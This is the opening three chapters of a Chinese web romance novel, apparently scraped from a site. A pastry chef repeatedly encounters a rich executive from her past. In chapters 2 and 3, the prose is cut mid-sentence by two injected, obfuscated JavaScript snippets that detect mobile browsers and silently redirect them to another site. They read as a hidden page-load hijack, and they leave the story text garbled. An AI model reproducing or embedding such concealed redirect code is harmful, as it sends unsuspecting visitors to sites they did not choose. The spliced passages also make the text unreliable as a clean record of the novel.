《你失约的那场海》 1. 第 1 章 津州迎来了一场百年难遇的大雪,这场雪断断续续下了一周,导致整座城市笼罩在一片苍茫的洁白之下。 檀颂拢了拢缠在脖子上的围巾,将露在外面的皮肤裹得严严实实,却依然阻挡不住沁入心脾的寒意。 她和万昭年站在路边等网约车。 万昭年一边搓手一边抱怨:“公司太狗了,这种时候让我来总部学习,就不怕我冻死在津州。” 檀颂觉得好笑,问她:“怎么啦?前两天见到雪不是还很开心吗?” 万昭年瘪着嘴嘟囔:“那也不能天天下雪啊,我来一周了都没见过太阳。” 万昭年是南方人,家在地图最南边。 檀颂在那边待过几年,那边每年最冷的时候也有25度左右,好多人一辈子都没见过雪的样子,所以万昭年每次看到洁白的雪花都仿佛看到天上下钱一样激动。 檀颂觉得她对金钱的喜爱程度也就那么回事儿,五分钟热度。 她拿出手机看了眼打车页面,上面显示附近还有35位客人在排队。 唉。 天气虽然冷,但也挡不住人们出来玩的热情。 街对面就是津州最大的商场——万洲商场,檀颂想了想,提议先去那边转转,顺便买杯奶茶暖暖手。 两人从地下通道走过去,冷风穿堂而过,万昭年没忍住打了个喷嚏。 “我有点想念我的家乡了,”她揉着鼻子说,“这边太冷了。” 檀颂笑了笑,没说话。 商场门口人潮汹涌,有人穿着玩偶服发传单,可行人匆匆走过,没人接他手里的传单。她们经过的时候,檀颂把传单接了过来,并温声对他说了句“谢谢”。 只是周围吵闹,又隔着一层厚厚的玩偶服,不知道他听没听见。 进了商场,檀颂把传单扔进了最近的垃圾桶里。 商场里的人超级多,暖气开得也足,逛了没一会儿两个人就缓过来了。 万昭年在某间女装店看上了一件大衣,特别喜欢,一问价格,要3500多块钱。万昭年兴奋的神情一下就僵住了。她把衣服还给导购小姐,拉起檀颂就往外走,离得远了,她憋着的那口气才吐了出来:“我靠,那衣服也太贵了吧,金子做的吗?居然要3000多块钱。” 檀颂回想了下那家店招牌上的logo,“那个牌子好像挺有名的。” 万昭年叹了口气,双手合十向上天祈祷:“希望天上掉下个超级有钱的男人给我当牛做马。” 檀颂:“赶紧回家洗洗睡吧。” 梦里边什么都有。 两个人在楼上逛了一圈,然后下楼去买奶茶。 奶茶店在商场负一层的美食城,大厅正中央有一块公共休息区。 奶茶店人很多,需要排队,两个人点完单拿到小票以后到休息区那边坐着等。休息区有放杂志和报刊的架子,万昭年闲得无聊,随手拿了本杂志翻了翻。 檀颂瞟了一眼她手上的杂志。 财经周刊。 封面是最近几年常常出现在新闻频道上的男人,靳司珩。 檀颂只看了一眼就移开了目光,再也没往那本杂志上投去半点儿视线。 …… 两个人打车到檀颂租的小区门口。 那是一个由职工宿舍改造的老旧小区,每栋楼都只有六层,红砖墙,墙面挂满枯败的爬山虎藤蔓。 小区设施比较老旧,路灯稀疏且昏暗,所以里面整体都是黑漆漆的,视线特别不好。而且门口用水泥铺了一条很陡的斜坡,下雪以后变得很滑,万昭年第一次从这经过的时候狠狠摔了一跤,后来再从这儿走就万分小心。 她不止一次劝说檀颂换个地方住,这个小区没有保安,而且住在这儿的人鱼龙混杂,人身安全根本得不到保障。 但檀颂每次都以津州房租太贵搪塞过去。 两个人借着手机的灯光从门口走到单元楼,万昭年推开单元门然后跺了下脚。楼道里安的是声控灯,因为年久失修灯泡外层糊上了一层油脂,也不是特别亮,但勉强能让她们看清脚下的台阶。 檀颂住在顶楼,老小区没有电梯,两个人得一层一层爬上去。 三楼左侧那户人家屋里延伸出一根电线,是用来给他家的电动自行车充电的。楼道里充斥着一股说不上来的味道,像是呕吐物的味道。 万昭年受不了,拖着檀颂一口气冲到了六楼。 檀颂拿钥匙开了门。 她租的是一套小户型一居室,屋内空间狭窄,装修也比较陈旧。 檀颂把脱下来的大衣和围巾挂在门口的衣架上,换好拖鞋,去厨房烧水。万昭年瘫在沙发上,从茶几上拿起遥控器,打开电视。 厨房是开放式的,跟客厅之间只隔着一个吧台。 “你喝柠檬水吗?”檀颂在水槽洗手,问正在换台的万昭年。 “都行。”万昭年放下遥控器,随手又拿了包薯片拆开吃了。 转过身,檀颂从冰箱里取出一个柠檬和五个小青柠,全部切成片放进水壶,然后又往里放了一个红茶茶包,最后添满水,把壶放在加热器上加热。 等待的时间里,她掏出手机,想着看看工作群里的新消息。她只休息了半天,群里的未读消息已经99+了。 檀颂向下滑动手机屏幕,一目十行地快速翻看那些消息。 正看着,手机顶端出现了一条微博的推送消息。 发微博的是某个檀颂曾经关注过的博主发的。 这个博主生活在澳大利亚,经常去世界各地有名的甜品餐厅探店,然后拍了视频发到微博上,有次檀颂无意刷到了她的视频,觉得很感兴趣,就关注了。 她没仔细看博文的标题,以为博主又是发了探店视频,于是顺手点进详情页想看一看,然后看见了博文的内容—— 【家人们,谁懂啊,跟朋友来蹭游艇派对,居然遇见了一个超帅的男人,这一定是上天因为我努力工作赏赐给我的。眼冒红心.jpg】 就看文字的这几秒,下面的视频已经自动播放了。 博主拍的视频有些晃,但也足够让人看清里面的场景。 豪华游艇、露天泳池、震耳欲聋的音乐以及一群金发碧眼的男男女女。 参加派对的人几乎都穿着泳衣,有些人聚在DJ台前,跟着音乐跳舞。在热闹的人群之外,有几个亚洲男人,围坐在泳池边的沙发上,似乎在打牌。 镜头拉近,定格在坐主位的男人脸上。 男人穿了身特别骚包的红色花衬衫和花短裤,嘴里咬着根点燃的烟,从手里抽出一张牌扔到了桌子上。 烟雾缭绕,模糊了他的眉眼。 跟他打牌的人身边都有女伴,边打牌边和女伴调情,有个男人吃掉女伴递到嘴边的水果,然后捏着女伴的下巴,在大庭广众之下交换了个热情似火的吻。 其他人起哄打趣,男人吐出一口烟,也跟着他们恶劣地笑。 倏地,男人像是察觉到了什么,撩起眼皮,直直地朝镜头看了过来。 视频到这里戛然而止。 二十多秒的时长,短到檀颂还没来得及退出去就播放完了。 “阿檀。”万昭年喊了一声她的名字。 “怎么了?”檀颂回神,点进博主的主页,把她拉黑了。 “我说你呀,都当上主厨了,工资也翻倍了,就不能给自己换个好一点儿的房子吗?”万昭年一张口,又是这个老生常谈的话题。 壶里的水开始“咕噜咕噜”冒起泡泡,檀颂关上加热器的开关,把壶拿下来,又从柜子里取出两个玻璃杯。 这次她换了个理由回答:“工资是涨了,但我要还资助人的钱,还要留出一部分攒起来以后开店用,剩下的也没多少了。” 她把水壶和被子放在托盘上,端着回了客厅。 “你不是和你的资助人失联了吗?最近又联系上了?”万昭年问。 “没有,”檀颂把托盘放在茶几上,然后倒了两杯水,递给万昭年一杯,“他的电话号码注销了,我也没有他的别的联系方式。” 热气从杯口袅袅升起,万昭年双手捧着,小心翼翼地吹了吹,“依我看,人家的意思很明显,根本就不需要你还钱,偏就你,把这件事看得比命都重要。” 檀颂也给自己倒了杯水,轻声说:“要还的,不然我心里不踏实。” “那你能找到他吗?世界 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旁白用字正腔圆的腔调解说:【近日,万洲集团确认与壹心慈善机构签订了捐赠合同。未来十年,万洲集团将通过壹心慈善机构向全市所有福利院不定期捐赠包括但不限于钱款、衣物、书本等在内的物资。】 檀颂垂眸,手指不自觉曲起,一下一下抠着掌心的软肉。 耳边万昭年的声音也适时响起:“对他们这种人来说,捐个几千万做慈善就是动动手指的事,资助你花的那三十几万可能都不够人家一天的零花钱。” 檀颂喝了口柠檬水,然后拿起遥控换了个台,“好了,不说这个了,你明天不是要早起赶飞机吗?还不赶快去洗澡睡觉?” “啊?”万昭年愣了下,拿起手机看了眼日期,随后发出一声惊呼:“卧槽!居然是明天吗?我怎么会记成是后天?” 她冲进卧室,手忙脚乱地整理行李箱。 檀颂坐在沙发上,又喝了一杯水,目光盯着电视屏幕,思绪逐渐放空…… - 第二天早上,两个人五点半起床,檀颂煮了面,吃完后送万昭年去机场。 天气依旧不是很好,黑云沉甸甸地压下来,空气中夹杂着凛冽的寒风,像无数冰冷的刀片在脸上刮过。 到了机场,天上开始纷纷扬扬飘起雪花。 万昭年担心自己乘坐的飞机临时停运,一路上不停祈祷。 今天坐飞机的人不算特别多,安检口那边都没几个人排队。 万昭年转过身,依依不舍地跟檀颂告别:“我要走了。” 檀颂点头,“嗯,好。” “阿檀,你一个人在这边要照顾好自己,等我明年放假了再来看你。” “好。” “你要多交点朋友知道吗?别总是独来独往的,会被人欺负。” 眼见万昭年说起来没完,檀颂嫌她太啰嗦,推着她往安检口走,“好啦,我都记住了,你快去安检吧。” 万昭年半信半疑:“真的记住了?” “嗯。” “那好吧,我走了。” 万昭年走到队伍末尾,还不忘回头朝她挥手,“阿檀,你快回去吧,记得想我啊。” 檀颂笑着应答,“好,一定会想你的。” 直到万昭年的身影彻底消失,她才收回视线,转身离开。 她提前在网上预约了网约车,不过遇上这种天气,机场附近基本没有可以派遣的司机,她等了将近半个小时,才终于遇到一位肯接单的好心司机。 回程的路上,天空开始纷纷扬扬地飘起雪花,车内暖气开得很足,坐了没一会儿檀颂就感觉有些热,便将围巾解下放在腿上。 到了市里,赶上早高峰,他们又被堵在一个十字路口一动不动,不止这样,有些司机性子急,一个劲儿地加塞,见缝就插,使本就拥堵的交通更加雪上加霜。 网约车司机边按喇叭边骂脏话。 檀颂坐在后排,侧头看向窗外灰蒙蒙的天,心里倒是一片平静。 “姑娘,”网约车司机是个中年大叔,对她的态度还算和善,“你着急吗?我看这儿一时半会儿也疏通不了,要不你——” 他后面的话被一阵车辆撞击的声音打断,伴随而来的还有一股突如其来的冲击感,檀颂也被这股力量冲撞,身体不受控地撞向前方的座椅椅背。 2. 第 2 章 眼前一阵天旋地转,檀颂上半身靠着椅背,半天才缓过来。 撞击过后,司机大叔稳住心神,第一时间询问她的情况:“姑娘,你怎么样啊?有没有受伤?” “…我没事儿。”檀颂坐直身体。 她的脸色不太好看,有些发白,不过眉目间神情还算镇定,只除了微微皱起的眉心,泄露了她此时烦躁的心情。 司机大叔骂骂咧咧地解开安全带,然后推门下车,“他妈的,这人闭着眼睛开车呢。” 因为道路拥堵,所有车子的速度都不快,所以车祸并不严重,但也因为这样,周遭被波及到的车辆比较多。 檀颂乘坐的网约车是第一受害人,司机大叔下车去找后面的肇事司机理论。不止他,其他被牵连的车主都纷纷围过去讨要说法。 檀颂没动。 她在思考如果现在抛下司机大叔不管,自己走到高架桥下重新打车去上班会不会有些不合适。 这样想着,她拿出手机,开始浏览打车软件。 过了几分钟,司机大叔走回来敲了敲她身旁的车窗,等檀颂降下车窗,他说:“姑娘,对方想跟你聊一下赔偿的事情。” 他脸上愤怒的神色已经消失不见,看样子应该是跟对方谈得不错。 “我没受伤,不用赔偿。”檀颂说。 “呃,”司机大叔犹豫了下,“要不你自己跟他聊?” “也好。”檀颂将围巾重新围好,推开车门下车。 冷风扑面而来,她往上拉了拉围巾,把半张脸埋了进去。雪下得比刚刚大了些,地面有了积雪,踩上去会打滑。 几步路檀颂走得小心翼翼。 后车那儿围了一圈人,透过他们脑袋之间的缝隙,檀颂看见中央有个头发半白的中年男人,穿着一身中山装,正向众人递烟。 天气太冷,众人不停搓手跺脚,呼出的热气成团飘向上空,然后消失在茫茫的天际。 檀颂随意向身侧扫了一眼,后车是一辆黑色的商务车,两车相撞,后车似乎一点事儿都没有,而她乘坐的白色网约车车尾凹进去一块,灯也碎了一只。 穿中山装的男人也看见了和网约车司机一起过来的檀颂,越过众人,走到她面前,躬身跟她道歉:“您好,女士,抱歉吓到您了,您看您这边需要什么赔偿,您尽管说,我会尽量满足。” 他的态度很诚恳,檀颂也无意与他多纠缠,便说:“不用了,我没受伤,不需要赔偿。” “这……” 她没管对方为难的表情,转头对网约车司机说:“这里应该没我什么事了,我着急去上班,要先走。” 司机也是一脸震惊:“好,好的。” 檀颂转身离开,只是没走几步便听见身后有个更为年轻些的男声叫她:“女士,您等等!” 这一大早,又是堵车又是追尾,檀颂的耐心本就快要耗没了,这会儿又被人各种阻拦,饶是她情绪再稳定,心里也难免生出些烦躁的感觉。 她在原地站了两秒,然后回头,只见黑色的商务车后车门打开,从里面下来一个西装革履、带着银边眼镜的年轻男人,中山装男人叫他“宋总”。 年轻男人面带微笑,对中山装男人点了下头:“李叔,你先去忙吧,我跟这位女士聊一下。” “好的。”被称作李叔的男人回到那群人当中。 而年轻男人径直朝檀颂走过来,在距她两米左右的地方停下,对着她微微鞠了下躬,“女士,抱歉再占用您几分钟的时间。” 檀颂面无表情地看着他,没说话。 年轻男人也不在意,态度依旧谦逊,“今天给您造成了许多不必要的麻烦,我们对此表示深深的愧疚,我老板说,如果您事后身体有任何不舒服的地方,都可以联系我们。” 说着,他从西装口袋里摸出一张卡片,双手递给檀颂:“到时候您可以联系名片上这个人。” 檀颂垂眸,一眼就能看见名片正中央用烫金字体印刷的名字:【靳司珩】。 她重新看向面前的年轻男人,正要拒绝,话到嘴边却突然改了主意:“是不是我收下名片就能走了?” “您随时都能走。” “……”檀颂接过名片,握在手心,又看了他一眼,随后径自转身离开。 目送她的身影消失在街口,年轻男人回到商务车旁,车窗降下,里面的人朝外看过来。 “靳总,那位女士收下了名片。”年轻男人态度十分恭敬。 “嗯。”车里的男人单手撑着下巴,衣袖上浮,腕骨间露出一小节黑色纹身。他的目光随意瞟过聚拢的人群,漫不经心说道:“快点儿把事情解决了。” “好的。”年轻男人点头应了声,然后低声问:“那,需要把李叔换掉吗?” “不必。” “好的。” 等了几秒,也不见车窗关闭,年轻男人也不敢立刻离开,便安静立在车边——依照他的经验来看,老板还有话要说。 果不其然,片刻后,车里的人似是忽然想到了什么,狭长的眸子轻微上挑,薄唇也弯起弧度。“你说,”他的语气带着点儿调笑的意味,“刚才那位女士,长得漂亮吗?” 这个问题问得,很突兀,自己从没见老板这么说过,所以年轻男人一时摸不清自家老板的意思,只能硬着头皮回答:“很,很漂亮。” “哦,”男人笑了,视线不知落在何处,拖腔带调回了句:“是吗?” 这话似乎不像对他说的。 年轻男人不知该不该回,索性沉默以对。 好在自家老板没有再为难他。 男人缓缓收敛起笑意,坐正身体,松了松领带,“半个小时之内把事情解决了。” “好的,靳总。” 车窗关闭,年轻男人背过身,微不可查地舒了口气。 …… 雪似乎下得更大了,街角的路灯旁有垃圾桶,檀颂走过去,没有任何犹豫地将手里的名片扔了进去。 她又向前走了一段路,走到没堵车的路段,在路边拦了辆出租车。 “师傅,去临河路的九洲国际酒店。” “好嘞。” 九洲国际是万洲集团旗下的五星奢华酒店品牌,津州一共有三家,临河路这家是其中面积最大的。 四十多分钟后,出租车停在酒店附近。 檀颂扫码付了钱,然后下车。她绕到后门,走员工通道进了酒店。 换好工作服后,她从更衣室出来,恰好遇见从隔壁男更衣室出来的闫绪。 闫绪算是檀颂的半个助理,才23岁,刚毕业,长相清秀,一副清澈愚蠢的男大模样,没什么工作经验,所以当时还没离职的主厨就安排檀颂带他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496489|154856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿檀姐,早啊。”闫绪笑嘻嘻地跟她打招呼。 “嗯,早。”檀颂点了点头,边整理袖口边往饼房的方向走。 闫绪跟在她身后,仍是嬉皮笑脸的模样,“阿檀姐,你看见昨天经理在群里发的消息了吗?” 檀颂:“看见了。” “哦哦,”闫绪挠了挠头,“我看你没回消息,以为你没看见,想提醒你一下。” “看见了,”檀颂看了他一眼,眉目柔和,“谢谢。” 他们两个来得有些晚了,其他人已经开始工作了。 昨天经理在群里发了通知,说半个月后腾誉资本的老总温清海要在九洲国际为自己的女儿举办生日宴,需要各个厨房的负责人做一份定制菜单。 现在西饼房的主厨是檀颂,制作菜单的工作自然而然就落到了她头上。 檀颂花了一个小时做好菜单,拍照发给经理后,对方很快回了个【OK】的表情。 菜单的事情解决了,她跟着去忙做点心的事。 西饼房的工作繁多,每天都有数不清的甜点要做,而身为主厨的檀颂,要把控整个西饼房的工作流程,还要时刻关注食材和成品的质量以及客人们食用后的反馈,及时对已有的菜单做出调整。 等一天的工作结束,已经晚上八点多了。檀颂揉了揉有些发酸的肩膀,把最后一点儿收尾工作做完,去更衣室换好衣服,下班回家。 酒店本来是提供住宿的,但檀颂不习惯和别人一起住,所以就自己在外面租房子。 檀颂往地铁站走,身边呼啸而过一辆黑色的车,她没在意,一分钟之后,那辆车又倒了回来,停在她面前。 驾驶位的车窗降下,露出一张略有些熟悉的脸,“女士,我们又见面了。” 是早上那个给她递名片的男人。 檀颂的视线稍稍偏了下。 车子是辆普通SUV,不是早上那辆高级商务。 “您是刚下班吗?”男人又问,“这么晚了,需要我送您回家吗?” “不用了,”檀颂颔首拒绝,“谢谢。” 说完,她绕过车子,继续往地铁站走。 车内。 老板交代的事情没办好,宋秦心里七上八下的,他透过后视镜观察了一下后排一言不发的男人,犹豫了下,试探性地询问:“靳总,咱,还去小卫总的聚会吗?” 男人单手撑着额头,另一只手里把玩着一条深色手串,闻言,收回视线,懒懒地说:“去啊,为什么不去?” 宋秦提心吊胆地启动车子。 行驶出一段距离后,男人冷不丁出声:“听李叔说,你准备结婚了?” 宋秦:“是的。” 男人似乎笑了声,“恭喜啊。” 宋秦:“谢谢靳总。” 车内安静了几秒,男人又开口:“谈了多久?” 宋秦有些诧异,不太明白自家老板怎么忽然关心起他的感情生活了,他顿了几秒,如实回答:“仔细算算,差不多有十三年了。” “这么久?”男人似乎有些意外。 宋秦不好意思地笑了笑,说:“我跟我女朋友是高考结束后在一起的。” “哦。”男人了然地点点头,“高中同学。” “对。” “那还真是,”男人哼笑了声,语气充满叹息,“羡慕啊。” 3. 第 3 章 温家大小姐生日宴那天恰好是冬至,宴会前一日,檀颂请了半天假。早上天还没亮她就起床了,在厨房里忙了许久,出来的时候她手上提着一个包装好的草莓蛋糕。 她走到门口,从衣架上取下大衣和围巾,穿戴好,又取下包包,把手机和钥匙放进去,然后挎在肩膀上。 拿好所有的东西后,她出了门。 天边已经泛起一丝亮光,再过不久,这座城市会变得热闹喧嚣。 檀颂提着装有蛋糕的盒子,小心翼翼地行走在结了冰的路面上,道路两边横七竖八地停满私家车,网约车开不进来,她只能步行到路口去上车。 等她上了车,司机跟她确认了一下手机尾号,随后启动车子。 这会儿时间还早,路上车不多,网约车一路顺畅地驶出城区,车外的高楼大厦逐渐变成低矮的民房。 车子缓缓开上一条盘山路。 檀颂侧头朝外看去,外面的场景与她记忆中的截然不同。 路面被翻修了,变得干净平整,道路两侧种满枝叶参差的香樟树。 车子又向前行驶了一段路程后缓缓停在一座庄严肃穆的石头牌坊前,等车停稳,檀颂拿着自己的东西下车。冷风像剜肉的刀子,她将吹乱的发丝勾回耳后,同时视线上移,落在牌坊上雕刻的字迹。 『小松山公墓』。 公墓也被修缮过,不似她记忆中那样破败了。 檀颂深吸了口气,提着蛋糕盒子的手不自觉收紧。 良久后,她像是下定了某种决心,迈步进了墓园的大门。好在,里面的格局没有改变,檀颂循着记忆找到了那座墓碑。 墓前干干净净的,没有一丝杂物。 只是墓碑上那张照片经过多年的风雨洗礼,已经褪色,变成了黑白色。 对上照片里的那双眼睛,檀颂心里止不住发虚。 沉默了几秒,她才缓缓开口:“姐姐,好久不见。这么久没来看你,你,生我的气了吧。” 回答她的,是一阵呼啸的风声。 周围的植物被吹得飒飒作响。 檀颂往前靠近了一步,在墓碑前蹲下,把手里的蛋糕放在石台上,随后抬头看向那张照片。 “对不起,过了这么久才敢来见你。” “这个蛋糕是我自己做的,是你最爱吃的草莓蛋糕。”她扯了扯唇角,声音放轻,近乎呢喃,“吃了它,你可不可以不生我的气了?” 照片上的人微微笑着看着她。 “……姐姐,我真的很想你。” 檀颂坐到地上,抱膝轻轻靠着墓碑。 她轻声说着自己这些年的经历,把想说的话说完,她又沉默着坐了好一会儿,差不多十点左右的时候,她站起来,拍了拍衣服上沾的灰尘,对照片里的人说:“我走了,等下次有空再来看你。还有啊,生日快乐。” 她原路返回。 经过大门的时候,她低头看手机上的打车信息,没注意看路,结果撞到了一个男人。 “不好意思,”檀颂下意识跟他道歉,“你没事儿吧?” 男人带着墨镜,遮挡了大半张脸,看不清样貌。他摆了摆手,说了声“没事儿”。 檀颂点了下头,与他擦肩而过。 她的步伐匆匆,没有注意到身后的男人摘掉墨镜,盯着她的背影若有所思。 - 温家在国内算得上是数一数二的名门,因此受邀来参加宴会的宾客,也都是富人圈子里有头有脸的人物。 此时,宴会厅内灯光绚烂,音乐声潺潺,宾客来往之间谈笑风生。 无人注意到的角落里,檀颂和闫绪推着餐车,将做好的小蛋糕一一摆放在餐台上。 为宴会准备的甜点种类比较多,这一整天饼房忙到飞起,所有人基本都没怎么休息过。将餐台上的甜点整理好、摆在相应的位置后,檀颂直起腰,活动了下发酸肩膀。 闫绪见状,立刻上前,从她手里接过餐车,“阿檀姐,剩下的我来弄吧,你先休息会儿。” “那也好,”檀颂略一沉思,答应下来,随后又不太放心地嘱咐一句:“那你细心点儿,别出什么问题。” “你就放心吧。”闫绪推着餐车信心满满地走了。 檀颂目送他推着餐车走远,打算先回饼房,转过身,不经意间瞥见入口处信步走来一个人,视线在他脸上轻轻扫过,迈出去的脚便停在了原地。 来人穿一身手工定制西装,宽肩窄臀,身量高大挺拔,一头黑发被打理地一丝不苟,趁得那张轮廓分明的脸更加凌厉逼人。 他一入场,立刻吸引了其他人的注意,有人迎上去主动跟他搭话,没一会儿,他周围便聚集了不少人。 那些人站的位置正好是檀颂要离开的必经之路,看他们一时半会儿似乎不会散开,檀颂又退回了角落里。 她扫视了一遍宴会厅,来往都是宾客,没有看到闫绪。 她只好留在原地。 又过了一会儿,宴会厅中央人群涌动,几秒后,从人群中走出一位年轻女孩儿,她身上穿着高奢品牌的礼服,一条浅粉色抹胸鱼尾裙,上面缀着无数碎钻,举手投足间夺目璀璨。 她就是今晚宴会的主角,温家的掌上明珠温楹。 温楹提着裙摆,走到那个被人群包围的男人面前,笑靥如花,“司珩哥,你来了。” 身边的人视线在他俩之间来回转了个圈,了然地笑了笑,同时向旁边撤,自发为他们让开一条路。 男人朝她微微点头示意,脸上笑意不变,态度算不上热切却也不算冷淡,他身后跟着的助理上前一步,奉上精致的礼盒。 “温小姐,这是靳总为您准备的生日礼物。” 温楹欢喜地接过礼物,双眼亮晶晶地问男人:“我可以现在拆开吗?” 靳司珩唇角弧度加深,带着几分漫不经心,“当然可以。” 礼盒被当众拆开,里面静静躺着一条钻石项链。 项链整体由二百多颗圆形钻组成,底端镶嵌了一块水滴形红宝石,颜色如鸽血一般明艳。 檀颂离得远,只听见那边的人群发出一阵低低的惊呼,她附近有几位女宾客的交谈声断断续续传入她耳朵里。 “四千多万的项链说送就送,这位靳总出手可真够大方的。” “之前听说温总有意要跟靳家联姻,看这俩人的样子,估计是真的了。” “联姻?要是我没记错的话,这位可是老靳总的私生子。” “私生子怎么了,现在靳家都是这位说了算,权利在手,管他是不是私生子呢。” 听见她们的话,非常不合时宜的,檀颂想到很久远的一件事,久到她记忆中的人早已面容模糊,唯一清晰的,是对方双手递过来的水晶手链,泛着温润的光。 那是送给她的18岁生日礼物,是少年用攒了许久的早饭钱买下来的。 她的记忆里,除了那条手链,还有少年通红的耳尖…… 檀颂骤然回神,将视线投去了别处。 那几位女客人仍在说着,就见话题中心的两人越过人群,往宴会厅中央走过去。 闫绪推着餐车走回来,喊了声檀颂,“阿檀姐,我完成任务了。” 檀颂问:“没出什么问题吧?” 闻言,闫绪不乐意了,“阿檀姐,你咋这样呢?也太不信任我了。” 檀颂笑着,没搭他的话茬,自顾自离开宴会厅,闫绪推着餐车在后面亦步亦趋地跟着,“阿檀姐,你等等我。” 回到饼房,余下的几位甜品师正在为给温小姐庆生的蛋糕做装裱,蛋糕一共六层,每层都用温小姐喜欢的粉色玫瑰点缀,最上一层是以温小姐为原型做出来的人物翻糖蛋糕。 这个翻糖蛋糕是檀颂花费一天一夜做出来的,一颦一笑犹如真人,栩栩如生。 大概过了一个多小时,经理发消息让他们把生日蛋糕送去宴会厅,檀颂便带着闫绪去送蛋糕。 蛋糕是分开运过去的,到了宴会厅,两个人着手组装,期间檀颂不经意抬了下头,恰好撞上了靳司珩投过来的视线。 四目相对。 隔着不远的距离,对方被人群围在中央,唇角勾着笑,身边有人在跟他说话,他一一回应,目光却直勾勾地盯着她。 眉目疏懒,眸光却幽暗深沉,似乎别有深意。 檀颂垂下眼,下意识抬手向上扯了扯口罩。 酒店为后厨工作人员提供的口罩都是特别定制的,不透明材质,能遮住她大半张脸。 檀颂不知道靳司珩刚才的眼神代表什么意思,也没有兴趣去深究,她重新把注意力投注到蛋糕的组装上,没有再抬头。 …… 晚宴结束时已经很晚了,檀颂从酒店出来,思索着要不要打车回家。路过一家便利店门前时,她脚步一转,走进店里。 她从中午开始就忙到脚不沾地,连晚饭也没顾得上吃,刚才没觉得有什么,这会儿一闲下来肚子立刻“咕咕”叫了起来。 檀颂进店挑了一个饭团和一杯热牛奶,结账时,身后的玻璃门被人打开,随后响起一阵沉稳的脚步声。 收银员露出招牌微笑,“欢迎光临!” 檀颂扫码付了款,端起热牛奶转身欲走,身后那人却直直撞到了她的手臂,檀颂手一松,牛奶杯子掉到了地上,里面的液体洒了一地,有些还溅在了那人的西服裤腿和皮鞋上。 “抱歉,女士,抱歉。”对方连连道歉,态度很是诚恳。 檀颂的目光随着杯子落在地上,在听到对方的道歉后,抬头的动作顿了下,然后很平静地看向对方的脸。 最先映入眼帘的是一张紧抿的薄唇,唇色殷红,再往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496490|154856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,是高挺的鼻梁,和一双狭长的狐狸眼,他很高,身形也很挺拔,檀颂有1米68,和他站一起却只到他的肩膀处。 他投下的影子将檀颂整个罩住,无形中添了几抹压迫感。 男人身上还穿着参加晚宴的西装,此时又在外面套了件挺括的黑色大衣,与这店里的环境格格不入。 他身上萦绕的雪松木的冷冽清香丝丝缕缕钻进她的鼻腔,檀颂恍惚了几秒,后知后觉注意到两人之间的距离过近,她连忙向后退了一步,跟他拉开距离。 “没关系。”她说。 她很疑惑,以靳司珩今时今日的身份地位,为什么会愿意屈尊来这样的街边便利店,刚才宴会还跟在他身边的助理呢?她不会自以为是地认为他是来跟她巧遇的,事实上,她根本不觉得靳司珩会记得她。 檀颂不欲跟他有太多纠缠,于是弯腰捡起地上摔坏的空纸杯,头也没抬,轻声对过来擦拭地板的服务员说了句“不好意思”之后抬脚就走。 “请等一下。” 靳司珩在后面说,她装作没有听见,径直推门走了出去,没想到他追了出来,跟在后面絮絮叨叨:“你好,女士,实在抱歉打翻了你的东西,我赔你一杯吧。” 檀颂只想尽快离他远一点儿,脚步未停,淡声拒绝:“不用了。” “女士,请等一下。”身后的男人似乎急了,大步上前,一把扣住了她的手腕。 几乎是肌肤相贴的刹那,檀颂条件反射般的抽回自己的手。不过也因为这样,她停下继续往前走的动作,回头看向男人。 她眼神带着警惕,直勾勾地盯着靳司珩,无声询问他到底要干嘛。 “对、对不起。”男人看起来好像有些无措,与那张脸给人的感觉截然相反,他双手举起,眼神无辜,“我没恶意的,请你相信我,我真的只是想要赔偿你的晚餐,可能、可能有些着急了,冒犯到你了,真的非常非常抱歉。” 他眨了眨眼,昏暗的光线下,右眼下的泪痣若隐若现。 “我说了,不用。”檀颂的语气没什么情绪起伏。 “可我心里真的过意不去,或者我赔钱给你。”靳司珩小心翼翼观察她的表情,“可以吗?” “……” 她真的搞不懂,像他这样管理一家大型企业的老板会有这么闲吗?还是这只是豪门公子哥闲暇时逗人玩乐的把戏? 很不合时宜的,檀颂联想到半个月前的那场车祸,以及当时同样喋喋不休的他的员工。 檀颂观察了他几秒。 她想,如果她继续拒绝的话,他大概还会有别的理由来试图说服她。 她无声叹了口气,张嘴刚要同意,耳边蓦然响起摩托车的轰鸣声。下一秒,一辆黑色的摩托车缓缓停在他们面前,等停稳后,驾驶员将头盔上的挡风罩往上一推,露出闫绪那双亮亮的狗狗眼。 “阿檀姐,这么晚了,我送你回家啊?” 他轻飘飘扫了靳司珩一眼,自动将他忽略,满目期待地看着檀颂,眼里仿佛藏着星星。 檀颂的表情有一瞬的崩坏:“……” 今晚这到底是怎么了? 她又累又饿,在这儿耽误了这么长时间,她的耐心快要耗尽了,却不得不压着脾气温声说道:“不用了,我等下坐地铁就好,你快回家吧。” “可是——” 闫绪还要说什么,檀颂没给他机会,立即转身对靳司珩说:“那杯牛奶3块5,你转我微信就好。” 靳司珩正盯着闫绪看,闻言,脸上漾开一个灿烂的笑容,“好的。” 他低头摸手机,只是摸了半天也没有找到手机,他着急道:“我可能把手机落在车上了,你稍等,我去取。” 他说完,正要离开,从后面又开过来一辆宾利,靠近他们身边时,车子降速,车窗降下,露出一个中年男人的脸。 “靳总!”中年男人喊了声,成功制止了靳司珩要离开的步伐。 